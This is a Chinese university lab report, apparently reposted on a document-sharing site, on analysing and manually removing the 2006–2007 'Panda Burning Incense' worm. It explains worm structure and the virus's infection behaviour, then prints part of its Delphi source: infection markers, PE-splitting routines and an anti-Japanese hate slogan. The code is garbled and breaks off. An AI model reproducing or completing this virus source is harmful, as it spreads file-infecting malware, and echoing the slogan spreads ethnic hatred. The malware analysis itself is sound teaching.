信息安全 熊猫烧香病毒剖析.docx
《信息安全 熊猫烧香病毒剖析.docx》由会员分享,可在线阅读,更多相关《信息安全 熊猫烧香病毒剖析.docx(37页珍藏版)》请在冰豆网上搜索。
信息安全熊猫烧香病毒剖析
《网络攻击与防御》
实验报告
计算机科学与技术学院
计算机系网络教研室制
课程名称:
信息安全原理与实践
实验名称:
熊猫烧香病毒剖析
实验成绩:
实验报告撰写要求
实验操作是教学过程中理论联系实际的重要环节,而实验报告的撰写又是知识系统化的吸收和升华过程,因此,实验报告应该体现完整性、规范性、正确性、有效性。
现将实验报告撰写的有关内容说明如下:
1、实验报告模板为电子版。
2、下载统一的实验报告模板,学生自行完成撰写和打印。
报告的首页包含本次实验的一般信息:
●组号:
例如:
2-5表示第二班第5组。
●实验日期:
例如:
05-10-06表示本次实验日期。
(年-月-日)……
●实验编号:
例如:
No.1表示第一个实验。
●实验时间:
例如:
2学时表示本次实验所用的时间。
实验报告正文部分,从六个方面(目的、内容、步骤等)反映本次实验的要点、要求以及完成过程等情况。
模板已为实验报告正文设定统一格式,学生只需在相应项内填充即可。
续页不再需要包含首页中的实验一般信息。
3、实验报告正文部分具体要求如下:
一、实验目的
本次实验所涉及并要求掌握的知识点。
二、实验环境
实验所使用的设备名称及规格,网络管理工具简介、版本等。
三、实验内容与实验要求
实验内容、原理分析及具体实验要求。
四、实验过程与分析
根据具体实验,记录、整理相应命令、运行结果等,包括截图和文字说明。
详细记录在实验过程中发生的故障和问题,并进行故障分析,说明故障排除的过程及方法。
五、实验结果总结
对实验结果进行分析,完成思考题目,总结实验的心得体会,并提出实验的改进意见。
六、附录
一、实验目的
1)掌握熊猫烧香病毒的工作原理和感染方法;
2)掌握手工清除熊猫病毒的基本方法。
二、实验环境
目标主机为windows-2003
所用到的工具
oWsyscheck
三、实验内容与实验要求
蠕虫原理
1)蠕虫定义
2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。
这一病毒利用了微软视窗操作系统的漏洞,计算机感染这一病毒后,会不断自动拨号上网,并利用文件中的地址信息或者网络共享进行传播,最终破坏用户的大部分重要数据。
蠕虫病毒是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它的某些部分到其他的计算机系统中(通常是经过网络连接)。
请注意,与一般病毒不同,蠕虫不需要将其自身附着到宿主程序,有两种类型的蠕虫:
主机蠕虫与网络蠕虫。
主计算机蠕虫完全包含在它们运行的计算机中,并且使用网络的连接仅将自身拷贝到其他的计算机中,主计算机蠕虫在将其自身的拷贝加入到另外的主机后,就会终止它自身(因此在任意给定的时刻,只有一个蠕虫的拷贝运行),这种蠕虫有时也叫"野兔"。
蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机内的文件系统而言,而蠕虫病毒的传染目标是互联网内的所有计算机。
局域网条件下的共享文件夹,电子邮件email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。
蠕虫和传统病毒的区别:
∙传统病毒主要攻击的是文件系统,在其传染的过程中,计算机使用者是传染的触发者,是传染的关键环节,使用者计算机知识水平的高低常常决定了传统病毒所能造成的破坏程度;
∙蠕虫主要是利用计算机系统漏洞进行传染,在搜索到网络中存在漏洞的计算机后,主动进行攻击。
在传染的过程中,与计算机操作者是否进行操作无关,从而与使用者的计算机知识水平无关。
2)蠕虫的基本程序结构
∙传播模块:
负责蠕虫的传播,通过检查主机或远程计算机的地址库,找到可进一步传染的其他计算机。
∙隐藏模块:
侵入主机后,隐藏蠕虫程序,防止被用户发现。
∙目的功能模块:
实现对计算机的控制、监视或破坏等功能。
传播模块由可以分为三个基本模块:
扫描模块、攻击模块和复制模块。
蠕虫程序功能模型也可以扩展为如下的形式:
3)蠕虫程序的一般传播过程
∙扫描:
由蠕虫的扫描功能模块负责探测存在漏洞的主机。
当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。
∙攻击:
攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限(一般为管理员权限),获得一个shell。
∙复制:
复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。
蠕虫将自身复制到某台计算机之前,也会试图判断该计算机以前是都已被感染过。
在分布式系统中,蠕虫可能会以系统程序名或不易被操作系统察觉的名字来为自己命名,从而伪装自己。
同时,我们也可以看到,传播模块实现的实际上是自动入侵的功能。
所以蠕虫的传播技术是蠕虫技术的首要技术,没有蠕虫的传播技术,也就谈不上什么蠕虫技术了。
“熊猫烧香”蠕虫病毒
1)“熊猫烧香”档案
又名:
尼亚姆、武汉男生、worm.whBoy、worm.nimaya
后又化身为:
“金猪报喜”
病毒类型:
蠕虫病毒
影响系统:
Windows9X/ME/NT/2000/XP/2003/Vista/7
2)“熊猫烧香”病毒特点
2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账号、QQ账号等功能。
该病毒传播速度快,危害范围广,截至案发为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破坏,引起社会各界高度关注。
《瑞星2006安全报告》将其列为十大病毒之首,在《2006年度中国计算机病毒疫情和互联网安全报告》的十大病毒排行中一举成为“毒王”。
“熊猫烧香”,是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。
被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
“熊猫烧香”源码分析
含有病毒体的文件被运行后,病毒将自身复制至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个Autorun.inf文件,使得用户打开该磁盘时激活病毒体。
随后病毒体创建一个线程进行本地文件感染,同时创建另外一个线程连接网站下载DOS程序发动恶意攻击。
下面,我们分析一下用delphi语言描述的“熊猫烧香”的主要源代码:
programJapussy;
uses
Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry};
const
HeaderSize=82432;//病毒体的大小
IconOffset=$12EB8;//PE文件主图标的偏移量
//查找2800000020的十六进制字符串可以找到主图
//标的偏移量
{
HeaderSize=38912;//Upx压缩过病毒体的大小
IconOffset=$92BC;//Upx压缩过PE文件主图标的偏移量
//Upx1.24W用法:
upx-9--8086Japussy.exe
}
IconSize=$2E8;//PE文件主图标的大小--744字节
IconTail=IconOffset+IconSize;//PE文件主图标的尾部
ID=$44444444;//感染标记
//垃圾码,以备写入
Catchword='Ifaraceneedtobekilledout,itmustbeYamato.'+
'Ifacountryneedtobedestroyed,itmustbeJapan!
'+
'***W32.Japussy.Worm.A***';
{$R*.RES}
functionRegisterServiceProcess(dwProcessID,dwType:
Integer):
Integer;
stdcall;external'Kernel32.dll';//函数声明
var
TmpFile:
string;
Si:
STARTUPINFO;
Pi:
PROCESS_INFORMATION;
IsJap:
Boolean=False;//日文操作系统标记
{===============判断是否为Win9x================}
functionIsWin9x:
Boolean;
var
Ver:
TOSVersionInfo;
begin
Result:
=False;
Ver.dwOSVersionInfoSize:
=SizeOf(TOSVersionInfo);
ifnotGetVersionEx(Ver)then
Exit;
if(Ver.dwPlatformID=VER_PLATFORM_WIN32_WINDOWS)then//Win9x
Result:
=True;
end;
{=======================在流之间复制========================}
procedureCopyStream(Src:
TStream;sStartPos:
Integer;Dst:
TStream;
dStartPos:
Integer;Count:
Integer);
var
sCurPos,dCurPos:
Integer;
begin
sCurPos:
=Src.Position;
dCurPos:
=Dst.Position;
Src.Seek(sStartPos,0);
Dst.Seek(dStartPos,0);
Dst.CopyFrom(Src,Count);
Src.Seek(sCurPos,0);
Dst.Seek(dCurPos,0);
end;
{==========将宿主文件从已感染的PE文件中分离出来,以备使用======}
procedureExtract:
string);
var
sStream,dStream:
T;
begin
try
sStream:
=T(ParamStr(0),fmOpenReadorfmShareDenyNone);
try
dStream:
=T(,fmCreate);
try
sStream.Seek(HeaderSize,0);//跳过头部的病毒部分
dStream.CopyFrom(sStream,sStream.Size-HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{===================填充STARTUPINFO结构==================}
procedureFillStartupInfo(varSi:
STARTUPINFO;State:
Word);
begin
Si.cb:
=SizeOf(Si);
Si.lpReserved:
=nil;
Si.lpDesktop:
=nil;
Si.lpTitle:
=nil;
Si.dwFlags:
=ST